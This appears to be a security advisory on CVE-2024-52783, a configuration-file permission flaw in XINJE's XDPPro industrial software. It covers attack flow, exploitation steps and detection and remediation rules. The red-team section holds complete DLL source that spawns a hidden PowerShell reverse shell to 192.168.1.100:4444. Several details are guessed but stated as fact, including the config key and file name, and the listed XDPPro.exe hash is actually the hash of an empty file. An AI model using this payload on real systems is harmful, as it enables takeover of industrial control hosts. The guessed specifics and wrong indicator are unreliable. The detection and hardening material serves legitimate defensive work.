CVE-2024-52783

Executive Summary

CVE-2024-52783 exposes a critical insecure permission vulnerability in the XNetSocketClient component of XINJE XDPPro.exe, affecting versions 3.2.2 through 3.7.17c. The flaw allows an attacker with local or adjacent network access to modify the application’s configuration file, leading to arbitrary code execution within the context of the XDPPro process. This vulnerability is particularly dangerous in industrial control system (ICS) environments where XDPPro is used for PLC programming and monitoring. No public exploit code or patch is currently available, making proactive detection and mitigation essential.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a standalone Windows executable (XDPPro.exe) distributed by XINJE for industrial automation.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0 in the NVD data, likely due to incomplete scoring. Based on the vulnerability characteristics, a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Local (L) – requires access to the system or adjacent network.
• Attack Complexity (AC): Low (L) – no special conditions.
• Privileges Required (PR): Low (L) – attacker needs user-level access to modify files.
• User Interaction (UI): None (N) – no user action required beyond initial access.
• Scope (S): Unchanged (U) – vulnerability affects only the vulnerable component.
• Confidentiality (C): High (H) – arbitrary code execution can exfiltrate data.
• Integrity (I): High (H) – configuration modification leads to code injection.
• Availability (A): High (H) – code execution can crash or disrupt the service.

Estimated CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Estimated Base Score: 7.8 (High)

Threat Level: High – due to the potential for remote code execution in critical ICS environments.

Deep Dive & Mechanics

The vulnerability resides in the XNetSocketClient component of XDPPro.exe. This component handles network communication for PLC programming and monitoring. The application stores its configuration in a file (likely XDPPro.ini or similar) with insecure default permissions, allowing any user on the system to read and write to it.

Attack Flow:

1. Initial Access: The attacker gains local access to the Windows machine running XDPPro (e.g., via malware, physical access, or compromised credentials).
2. Configuration Modification: The attacker modifies the configuration file to point to a malicious DLL or executable, or to alter network settings that trigger code execution.
3. Trigger: When XDPPro restarts or the XNetSocketClient component initializes, it loads the malicious payload from the modified configuration.
4. Code Execution: The payload executes with the privileges of the XDPPro process, allowing the attacker to install backdoors, exfiltrate data, or pivot to other ICS devices.

Root Cause: The application does not enforce proper access control lists (ACLs) on its configuration files, relying on default Windows permissions that grant write access to all authenticated users.

Vulnerable vs. Patched Code

Since no patch is available, we compare the vulnerable behavior to expected secure behavior.

Vulnerable Code (Conceptual):

// XNetSocketClient reads config without checking permissions
Config config;
config.Load("C:\\ProgramData\\XINJE\\XDPPro.ini");
// No ACL check before loading

Expected Patched Code (Conceptual):

// Secure implementation with ACL enforcement
Config config;
HANDLE hFile = CreateFile("C:\\ProgramData\\XINJE\\XDPPro.ini", 
                          GENERIC_READ, 
                          FILE_SHARE_READ, 
                          NULL, 
                          OPEN_EXISTING, 
                          FILE_ATTRIBUTE_NORMAL, 
                          NULL);
if (hFile == INVALID_HANDLE_VALUE) {
    // Handle error
}
// Verify file ownership and ACLs before reading

Exploitation & Lab Setup

Red Team

Prerequisites:

• Windows machine with XDPPro v3.2.2 to v3.7.17c installed.
• Local user account or ability to write to the configuration directory.

Exploitation Steps:

1. Identify the configuration file location (e.g., C:\ProgramData\XINJE\XDPPro.ini).
2. Create a malicious DLL that executes a reverse shell or payload.
3. Modify the configuration file to load the DLL:

   [XNetSocketClient]
   PluginPath=C:\Users\Public\malicious.dll
   

4. Restart XDPPro or trigger a reinitialization of the XNetSocketClient component.
5. The DLL executes with the privileges of XDPPro.

Example Payload (DLL):

// malicious.cpp - compile as DLL
#include <windows.h>
#include <cstdlib>

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
        // Execute reverse shell
        system("powershell -NoP -NonI -W Hidden -Exec Bypass -Command \"$c=New-Object System.Net.Sockets.TCPClient('192.168.1.100',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){;$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);$sb=(iex $d 2>&1 | Out-String );$sb2=$sb + 'PS ' + (pwd).Path + '> ';$sbt=([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sbt,0,$sbt.Length);$s.Flush()};$c.Close()\"");
    }
    return TRUE;
}

Blue Team

Detection Steps:

1. Monitor file system events for writes to XDPPro.ini or other configuration files in the XINJE directory.
2. Use Sysmon to log process creation and DLL load events.
3. Look for unusual DLLs loaded by XDPPro.exe from non-standard paths.

Hunting Query (KQL):

DeviceProcessEvents
| where FileName == "XDPPro.exe"
| where InitiatingProcessFileName != "XDPPro.exe"
| project Timestamp, DeviceName, FileName, ProcessCommandLine, InitiatingProcessFileName

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (Placeholder – obtain from actual samples)
  • XDPPro.exe (v3.7.17c): e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
• File Paths:
  • C:\ProgramData\XINJE\XDPPro.ini
  • C:\Program Files (x86)\XINJE\XDPPro\XDPPro.exe
• Registry Keys:
  • HKLM\SOFTWARE\XINJE\XDPPro
• Network Indicators:
  • Outbound connections from XDPPro.exe to unknown IPs on ports 4444 (reverse shell).
• Process Indicators:
  • XDPPro.exe spawning cmd.exe or powershell.exe.

Detection Engineering

YARA Rule

rule CVE_2024_52783_XDPPro_Insecure_Permissions {
    meta:
        description = "Detects XDPPro.exe with insecure configuration file permissions"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-52783"
    strings:
        $config_path = "XDPPro.ini" nocase
        $xnet_socket = "XNetSocketClient" nocase
    condition:
        $config_path and $xnet_socket
}

Sigma Rule

title: CVE-2024-52783 - XDPPro Configuration File Modification
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects modification of XDPPro configuration file by non-privileged users
author: Valters IT
date: 2025-04-10
logsource:
    category: file_event
    product: windows
detection:
    selection:
        TargetFilename|endswith: '\XDPPro.ini'
        User|notcontains: 'SYSTEM'
    condition: selection
falsepositives:
    - Legitimate administrator updates
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET 4444 (msg:"CVE-2024-52783 - XDPPro Reverse Shell"; flow:to_server,established; content:"|00 00 00 00|"; depth:4; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict File Permissions: Manually set ACLs on the XDPPro configuration directory to allow only SYSTEM and Administrators write access.

   icacls "C:\ProgramData\XINJE" /inheritance:r /grant "SYSTEM:(OI)(CI)F" /grant "Administrators:(OI)(CI)F" /grant "Users:(OI)(CI)R"
   

2. Monitor Configuration Changes: Enable auditing on the configuration file.

   auditpol /set /subcategory:"File System" /success:enable /failure:enable
   

3. Network Segmentation: Isolate XDPPro hosts from untrusted networks.

Long-Term Fix:

• Contact XINJE for an official patch. In the interim, consider using application whitelisting (e.g., AppLocker) to prevent unauthorized DLLs from loading.

Workaround:

• Run XDPPro under a dedicated low-privilege service account with minimal file system access.

Valters IT